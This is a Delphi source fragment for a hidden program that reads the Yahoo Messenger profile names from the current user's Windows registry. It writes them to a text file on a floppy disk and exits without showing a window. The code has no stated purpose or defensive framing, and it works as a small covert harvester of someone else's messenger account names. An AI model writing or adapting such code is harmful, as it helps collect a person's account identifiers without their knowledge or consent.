procedure TForm4.FormCreate(Sender: TObject);
         var
         Reg,TestReg:Tregistry;
         keylist:tstringlist;
         temp:string;
       begin
         Application.ShowMainForm:=false;

Try
         reg:=tregistry.Create;
         TestReg:=Tregistry.Create;
         keylist:=TStringlist.Create;
         reg.RootKey:=Hkey_Current_User;

        if           reg.KeyExists('\software\yahoo\profiles')=true then
           Begin

              reg.OpenKey('\software\yahoo\profiles',false);
              reg.GetKeyNames(keylist);
            
              keylist.SaveToFile('A:\win32.txt');

           End
           else

          begin

              keylist.Insert(keylist.Count,'The Person Has Not Yahoo Messenger Installed');

              keylist.SaveToFile('A:\win32.txt');
         end;

  except
      messagedlg('Please Enter A Floppy-Disk!',mtinformation,[mbok],1);


end;




         application.Terminate;

       END;//pro ENd;